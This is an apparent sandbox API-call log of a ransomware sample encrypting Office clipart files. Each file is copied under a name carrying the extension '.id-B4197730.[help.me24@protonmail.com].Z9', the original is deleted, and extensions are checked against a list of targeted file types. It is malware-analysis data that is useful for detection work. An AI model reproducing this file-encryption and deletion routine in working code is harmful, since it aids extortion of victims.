	[0091.530] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01631_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01631_.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374
	[0091.530] GetLastError () returned 0x0
	[0091.530] ReadFile (in: hFile=0x350, lpBuffer=0x32cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesRead=0x2d4fecc*=0x228, lpOverlapped=0x0) returned 1
	[0091.531] WriteFile (in: hFile=0x374, lpBuffer=0x32cc020*, nNumberOfBytesToWrite=0x230, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesWritten=0x2d4fc94*=0x230, lpOverlapped=0x0) returned 1
	[0091.532] ReadFile (in: hFile=0x350, lpBuffer=0x32cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1
	[0091.532] WriteFile (in: hFile=0x374, lpBuffer=0x32cc020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesWritten=0x2d4fc94*=0xec, lpOverlapped=0x0) returned 1
	[0091.532] SetEndOfFile (hFile=0x374) returned 1
	[0091.533] CloseHandle (hObject=0x374) returned 1
	[0091.533] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0091.533] SetEndOfFile (hFile=0x350) returned 1
	[0091.533] CloseHandle (hObject=0x350) returned 1
	[0091.534] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01631_.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0091.534] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01631_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01631_.wmf")) returned 1
	[0091.534] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01631_.WMF") returned 68
	[0091.534] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01631_.WMF") returned 68
	[0091.534] lstrlenW (lpString=".doc") returned 4
	[0091.534] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0091.534] lstrlenW (lpString=".docx") returned 5
	[0091.534] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0091.534] lstrlenW (lpString=".pdf") returned 4
	[0091.534] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0091.534] lstrlenW (lpString=".xls") returned 4
	[0091.534] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0091.534] lstrlenW (lpString=".xlsx") returned 5
	[0091.534] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0091.534] lstrlenW (lpString=".ppt") returned 4
	[0091.534] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0091.534] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01631_.WMF") returned 68
	[0091.534] lstrlenW (lpString=".zip") returned 4
	[0091.534] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0091.534] lstrlenW (lpString=".rar") returned 4
	[0091.534] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0091.534] lstrlenW (lpString=".bz2") returned 4
	[0091.534] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0091.534] lstrlenW (lpString=".7z") returned 3
	[0091.535] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0091.535] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01631_.WMF") returned 68
	[0091.535] lstrlenW (lpString=".dbf") returned 4
	[0091.535] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0091.535] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01631_.WMF") returned 68
	[0091.535] lstrlenW (lpString=".1cd") returned 4
	[0091.535] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0091.535] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01631_.WMF") returned 68
	[0091.535] lstrlenW (lpString=".jpg") returned 4
	[0091.535] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0091.535] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01631_.WMF") returned 68
	[0091.535] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01631_.WMF") returned 68
	[0091.535] lstrlenW (lpString=".doc") returned 4
	[0091.535] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0091.535] lstrlenW (lpString=".docx") returned 5
	[0091.535] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0091.535] lstrlenW (lpString=".pdf") returned 4
	[0091.535] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0091.535] lstrlenW (lpString=".xls") returned 4
	[0091.535] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0091.535] lstrlenW (lpString=".xlsx") returned 5
	[0091.535] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0091.535] lstrlenW (lpString=".ppt") returned 4
	[0091.535] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0091.535] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01631_.WMF") returned 68
	[0091.535] lstrlenW (lpString=".zip") returned 4
	[0091.535] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0091.535] lstrlenW (lpString=".rar") returned 4
	[0091.535] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0091.535] lstrlenW (lpString=".bz2") returned 4
	[0091.535] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0091.535] lstrlenW (lpString=".7z") returned 3
	[0091.536] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0091.536] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01631_.WMF") returned 68
	[0091.536] lstrlenW (lpString=".dbf") returned 4
	[0091.536] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0091.536] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01631_.WMF") returned 68
	[0091.536] lstrlenW (lpString=".1cd") returned 4
	[0091.536] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0091.536] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01631_.WMF") returned 68
	[0091.536] lstrlenW (lpString=".jpg") returned 4
	[0091.536] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0091.536] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0091.536] lstrlenW (lpString="DD01761_.WMF") returned 12
	[0091.536] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01761_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01761_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0091.536] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=4148) returned 1
	[0091.536] CloseHandle (hObject=0x350) returned 1
	[0091.536] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01761_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01761_.wmf")) returned 0x220
	[0091.536] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01761_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01761_.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0091.536] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01761_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01761_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0091.537] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0091.537] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0091.537] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01761_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01761_.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374
	[0091.537] GetLastError () returned 0x0
	[0091.537] ReadFile (in: hFile=0x350, lpBuffer=0x32cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesRead=0x2d4fecc*=0x1034, lpOverlapped=0x0) returned 1
	[0091.539] WriteFile (in: hFile=0x374, lpBuffer=0x32cc020*, nNumberOfBytesToWrite=0x1040, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesWritten=0x2d4fc94*=0x1040, lpOverlapped=0x0) returned 1
	[0091.540] ReadFile (in: hFile=0x350, lpBuffer=0x32cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1
	[0091.540] WriteFile (in: hFile=0x374, lpBuffer=0x32cc020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesWritten=0x2d4fc94*=0xec, lpOverlapped=0x0) returned 1
	[0091.540] SetEndOfFile (hFile=0x374) returned 1
	[0091.540] CloseHandle (hObject=0x374) returned 1
	[0091.540] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0091.540] SetEndOfFile (hFile=0x350) returned 1
	[0091.541] CloseHandle (hObject=0x350) returned 1
	[0091.541] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01761_.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0091.541] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01761_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01761_.wmf")) returned 1
	[0091.541] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01761_.WMF") returned 68
	[0091.541] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01761_.WMF") returned 68
	[0091.541] lstrlenW (lpString=".doc") returned 4
	[0091.541] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0091.541] lstrlenW (lpString=".docx") returned 5
	[0091.541] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0091.541] lstrlenW (lpString=".pdf") returned 4
	[0091.541] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0091.541] lstrlenW (lpString=".xls") returned 4
	[0091.541] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0091.542] lstrlenW (lpString=".xlsx") returned 5
	[0091.542] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0091.542] lstrlenW (lpString=".ppt") returned 4
	[0091.542] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0091.542] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01761_.WMF") returned 68
	[0091.542] lstrlenW (lpString=".zip") returned 4
	[0091.542] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0091.542] lstrlenW (lpString=".rar") returned 4
	[0091.542] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0091.542] lstrlenW (lpString=".bz2") returned 4
	[0091.542] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0091.542] lstrlenW (lpString=".7z") returned 3
	[0091.542] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0091.542] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01761_.WMF") returned 68
	[0091.542] lstrlenW (lpString=".dbf") returned 4
	[0091.542] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0091.542] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01761_.WMF") returned 68
	[0091.542] lstrlenW (lpString=".1cd") returned 4
	[0091.542] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0091.542] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01761_.WMF") returned 68
	[0091.542] lstrlenW (lpString=".jpg") returned 4
	[0091.542] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0091.542] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01761_.WMF") returned 68
	[0091.542] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01761_.WMF") returned 68
	[0091.542] lstrlenW (lpString=".doc") returned 4
	[0091.542] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0091.542] lstrlenW (lpString=".docx") returned 5
	[0091.542] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0091.542] lstrlenW (lpString=".pdf") returned 4
	[0091.542] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0091.542] lstrlenW (lpString=".xls") returned 4
	[0091.542] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0091.542] lstrlenW (lpString=".xlsx") returned 5
	[0091.542] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0091.542] lstrlenW (lpString=".ppt") returned 4
	[0091.542] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0091.543] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01761_.WMF") returned 68
	[0091.543] lstrlenW (lpString=".zip") returned 4
	[0091.543] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0091.543] lstrlenW (lpString=".rar") returned 4
	[0091.543] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0091.543] lstrlenW (lpString=".bz2") returned 4
	[0091.543] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0091.543] lstrlenW (lpString=".7z") returned 3
	[0091.543] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0091.543] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01761_.WMF") returned 68
	[0091.543] lstrlenW (lpString=".dbf") returned 4
	[0091.543] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0091.543] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01761_.WMF") returned 68
	[0091.543] lstrlenW (lpString=".1cd") returned 4
	[0091.543] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0091.543] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01761_.WMF") returned 68
	[0091.543] lstrlenW (lpString=".jpg") returned 4
	[0091.543] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0091.543] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0091.543] lstrlenW (lpString="DD01772_.WMF") returned 12
	[0091.543] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01772_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01772_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0091.544] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=2300) returned 1
	[0091.544] CloseHandle (hObject=0x350) returned 1
	[0091.544] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01772_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01772_.wmf")) returned 0x220
	[0091.544] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01772_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01772_.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0091.544] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01772_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01772_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0091.544] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0091.544] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0091.544] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01772_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01772_.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374
	[0091.545] GetLastError () returned 0x0
	[0091.545] ReadFile (in: hFile=0x350, lpBuffer=0x32cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesRead=0x2d4fecc*=0x8fc, lpOverlapped=0x0) returned 1
	[0091.546] WriteFile (in: hFile=0x374, lpBuffer=0x32cc020*, nNumberOfBytesToWrite=0x900, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesWritten=0x2d4fc94*=0x900, lpOverlapped=0x0) returned 1
	[0091.547] ReadFile (in: hFile=0x350, lpBuffer=0x32cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1
	[0091.547] WriteFile (in: hFile=0x374, lpBuffer=0x32cc020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesWritten=0x2d4fc94*=0xec, lpOverlapped=0x0) returned 1
	[0091.547] SetEndOfFile (hFile=0x374) returned 1
	[0091.548] CloseHandle (hObject=0x374) returned 1
	[0091.548] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0091.548] SetEndOfFile (hFile=0x350) returned 1
	[0091.548] CloseHandle (hObject=0x350) returned 1
	[0091.549] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01772_.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0091.549] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01772_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01772_.wmf")) returned 1
	[0091.549] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01772_.WMF") returned 68
	[0091.549] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01772_.WMF") returned 68
	[0091.549] lstrlenW (lpString=".doc") returned 4
	[0091.549] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0091.549] lstrlenW (lpString=".docx") returned 5
	[0091.549] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0091.549] lstrlenW (lpString=".pdf") returned 4
	[0091.549] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0091.549] lstrlenW (lpString=".xls") returned 4
	[0091.549] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0091.549] lstrlenW (lpString=".xlsx") returned 5
	[0091.549] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0091.549] lstrlenW (lpString=".ppt") returned 4
	[0091.549] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0091.549] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01772_.WMF") returned 68
	[0091.549] lstrlenW (lpString=".zip") returned 4
	[0091.549] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0091.549] lstrlenW (lpString=".rar") returned 4
	[0091.549] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0091.549] lstrlenW (lpString=".bz2") returned 4
	[0091.549] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0091.550] lstrlenW (lpString=".7z") returned 3
	[0091.550] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0091.550] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01772_.WMF") returned 68
	[0091.550] lstrlenW (lpString=".dbf") returned 4
	[0091.550] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0091.550] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01772_.WMF") returned 68
	[0091.550] lstrlenW (lpString=".1cd") returned 4
	[0091.550] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0091.550] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01772_.WMF") returned 68
	[0091.550] lstrlenW (lpString=".jpg") returned 4
	[0091.550] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0091.550] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01772_.WMF") returned 68
	[0091.550] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01772_.WMF") returned 68
	[0091.550] lstrlenW (lpString=".doc") returned 4
	[0091.550] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0091.550] lstrlenW (lpString=".docx") returned 5
	[0091.550] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0091.550] lstrlenW (lpString=".pdf") returned 4
	[0091.550] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0091.550] lstrlenW (lpString=".xls") returned 4
	[0091.550] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0091.550] lstrlenW (lpString=".xlsx") returned 5
	[0091.550] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0091.550] lstrlenW (lpString=".ppt") returned 4
	[0091.550] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0091.550] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01772_.WMF") returned 68
	[0091.550] lstrlenW (lpString=".zip") returned 4
	[0091.550] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0091.550] lstrlenW (lpString=".rar") returned 4
	[0091.550] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0091.550] lstrlenW (lpString=".bz2") returned 4
	[0091.550] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0091.550] lstrlenW (lpString=".7z") returned 3
	[0091.550] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0091.550] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01772_.WMF") returned 68
	[0091.550] lstrlenW (lpString=".dbf") returned 4
	[0091.551] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0091.551] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01772_.WMF") returned 68
	[0091.551] lstrlenW (lpString=".1cd") returned 4
	[0091.551] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0091.551] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01772_.WMF") returned 68
	[0091.551] lstrlenW (lpString=".jpg") returned 4
	[0091.551] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0091.551] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0091.551] lstrlenW (lpString="DD01793_.WMF") returned 12
	[0091.551] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01793_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01793_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0091.551] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=3252) returned 1
	[0091.551] CloseHandle (hObject=0x350) returned 1
	[0091.552] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01793_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01793_.wmf")) returned 0x220
	[0091.552] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01793_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01793_.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0091.552] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01793_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01793_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0091.552] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
